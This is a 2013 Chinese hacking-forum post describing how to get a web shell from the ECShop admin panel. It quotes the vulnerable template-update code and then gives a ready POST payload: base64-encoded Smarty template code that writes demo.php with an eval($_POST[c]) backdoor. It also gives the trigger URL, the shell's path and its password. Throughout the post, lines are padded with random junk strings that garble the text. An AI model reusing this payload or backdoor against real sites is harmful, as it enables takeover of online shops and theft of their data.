找回密码
 立即注册
查看: 3138|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
: q1 \$ U% k8 {" b! j+ F3 m6 G: q* f0 L  |/ A( {2 X- f0 b0 F3 O
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
8 t+ o0 r0 @- A6 \但是ecshop似乎不支持{php}{/php}这个标签来执行php代码1 f4 M5 ]* N0 F
admin/template.php) k2 D+ [1 _, k; S$ N9 ?

; ~8 A, \+ P: e2 j# V7 ~5 g1 if ($_REQUEST['act'] == 'update_library') . S. v5 l: U1 `8 \
  ^3 t- j3 A$ p2 C8 [
2   9 ~( [3 F8 o, Z( P/ H! r# x. V
( A* S2 y5 [! E) u+ S
3 {
3 S" u) n2 z* c: d: w! q' @8 S: m0 x& ^
4     check_authz_json('library_manage');
. o8 s6 R) g0 r# R  `# ]. @( s. w- w! t$ C
5   
3 ?9 b5 ~  {7 g+ v1 ~0 M: d
& T! L: B- o0 M9 N6     $html = stripslashes(json_str_iconv($_POST['html'])); ! \/ Y& c) {2 S; ~1 Z4 c" G# e1 {

1 U# D/ b. y+ d9 @' _7 y* f7   . I* [; l& e$ Z
1 K" X, G3 U. B; d& u# L- }" s& E( i
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 3 H. t( L- l: G4 v( R, J. _

9 R) O, T2 |1 R% E7 r9   
8 c" Y4 V- h6 `  t7 [: y, ?4 J4 G6 w5 y: z; O% O) {+ u( [
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 % {4 @7 n: S% f4 L

4 ^( W6 {: w" D% T& s& B11   4 H. I9 N$ [9 m1 Z

" f) D5 f* T$ [" Y7 R12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
, D9 F4 m/ o/ x6 Z6 k: s5 m
3 r# f4 U* m+ L& q" r/ L13   
; o3 W+ u  \9 y* J1 q
! f( t3 ]; {, C; d. U) ]14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
/ C" S" g2 s& d* M- z) c4 y9 L. u- {/ J6 p+ w' z* T
15     {
& h" Z; B7 k; U: Z: U# a7 p  H$ {
# v" ]6 y5 u8 F: X/ u4 c; y16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ) z* U) f7 J' D( u* H9 `
' E, {6 G  N& V! o/ y) T
17         make_json_result('', $_LANG['update_lib_success']); % }1 d# Y; j' q
2 O, W* I$ X+ g
18     } 9 A! D2 Y0 T! i& `* R/ z" W

" p, g5 f, ]3 y/ @* B6 X19     else 1 B3 n8 l: O; \- S

0 @4 @# r! }: W; G4 e/ ~; F20     { 8 K$ e# K7 r( b. `1 X" Q

: D/ G2 W" Z$ G21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
* g+ c& B0 Y3 G
8 |) y( i7 v' g3 J9 d22     }
! A  A* g/ B. b1 H) V- w1 n8 K1 l" j/ k0 ?1 b* P
23 }
9 q  N1 j/ v: w% a9 q3 F- f# M. ^5 W! z3 _8 v
那么找个比较方便调用了模板的文件% g2 p$ M; o% A- O6 S. `/ @1 i
index.php
$ G2 d) B  G- D- g% @3 l( p; z4 y6 D* |
1 if ($act == 'cat_rec') ; G. R$ w0 c5 u& f
) v6 L  \( ?# N) X. z
2   0 \& D; D! r0 |4 k) B

. V( Z- J6 ?7 m4 E8 W3 {
0 Z  G* }# b8 @& x6 s
. Z2 l+ n! J8 q8 O1 j6 C0 q4   ) e# O4 v/ i7 h  H! C0 E

4 m9 Z' [* w- b4 a$ x5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 3 H4 F' N# c2 [" c( F: Q/ {2 t3 D

+ @* Q# _6 ]3 M9 {. I* ^& W6   . R% @1 M$ p8 [8 V" P/ t2 }6 s; q

# r) G3 p( H4 }+ B2 S; E7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; ( `8 s2 n- j' s: A, Z+ M

9 @  ?$ {, O# ?% m  k8   ( c! h6 q6 ~( `& Z" J

2 d$ ]# Q, V5 p# a9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ! R* |! `( D  A; Y0 P3 s

! J  |' |& y! O( ~8 t10   : O5 f- \- f. n5 F
! r+ ^0 |8 \9 |* }  ?
11     include_once('includes/cls_json.php'); " g( M' k% ~0 {0 N* ?. M

- }# m% r5 I  e+ f' k12   
7 y+ r8 h3 J6 W$ Z  H
7 }' Q: [( j1 c* X. ]3 q3 S3 }) v13     $json = new JSON;
* N/ ]: N+ }2 d8 e" f$ P8 v+ [* D( ]3 d; r
14   
) a) O  p: L0 S1 c5 p( s6 \
% e% S  i& D* K$ Q15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
. B1 e3 g# A, J/ C# W+ W
( b" Q) w7 a5 O" m  d16   
  h8 L  G- M! R" N% w9 d
8 }+ i+ [! @4 f2 M# B5 X17     $children = get_children($cat_id);
/ O2 ^+ ^/ K4 G/ k/ f% @
5 b2 y9 N7 e4 i1 m0 M7 C18   : |( f5 d: V$ m2 h5 s+ L

1 B$ E0 ]( [$ P, G19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
* j) ~5 G3 ^+ p3 ^  p7 `" x1 ]+ n* q
20   
7 [; w' i! w0 Z9 A
, I( r& {! U1 T3 p# p$ B! q21     $smarty->assign('cat_rec_sign', 1); 9 ?$ O# I4 y) r/ b% w

: _% r7 i, ^$ O, X) W" q22   
" q' e" O: u. @) p8 O6 i! o* h- `7 }. j; t! ~8 k
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
% h. [: s8 c3 e% `) d1 c' b7 H, g( M5 M: p
24   
  {5 E: R8 J, ~3 S1 F" ?* f
- g5 E; `9 z  c5 m& h25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; / ~: G, N5 @7 X0 o# u9 L1 @3 k

) k6 r$ ^0 [: x" k$ a1 c2 ~26   2 ?" o  I' f* D+ N8 j: Q6 l$ T1 P. c% |
  A2 J9 X6 B2 h" n: w
27         echo $rec_array[$rec_type];
9 D2 D6 K4 l. @0 H' w! U% n5 f- e$ L6 r1 A  a% ~
28   " Q6 e# e. Q, \, T, n
5 p" g- n0 Q% L3 w, Z
29     die($json->encode($result)); # v9 B$ o/ J8 `

8 `% Y1 s) [4 M7 q/ Q2 o. M30   
) V% V$ D4 {# f
$ a8 M: X9 s+ X: p8 J* E4 s( C31 } , |; E+ Y1 W& x
* P9 K) J6 k; P- g8 }, V9 Y7 u
那么就有利用方法了
9 g/ n, c8 D* [4 m5 Ipost包到http://localhost/ec/admin/template.php?act=update_library
6 g. R% [( c# \3 C9 Q( N" ^: Z9 h+ W: oPost内容:
  V% [6 ?$ c" M% u; r5 E9 }
3 H+ x# ~: S, }* |  v+ `- W# f, e1 O7 b, v9 {7 {
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} # z$ C' k4 i0 k0 t

: o$ D5 o& F2 V1 o7 O+ O9 \7 O然后访问http://localhost/ec/index.php?act=cat_rec
/ j' L3 G5 C1 }8 ]2 v( ]9 S6 P# w' T' n
shel地址:http://localhost/ec/demo.php
! e& N- Q2 i) ?4 |! u9 }3 ~. e  a密码c$ ]6 F  T* q) T; K
2 N; @4 I, o' M+ J$ `/ X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表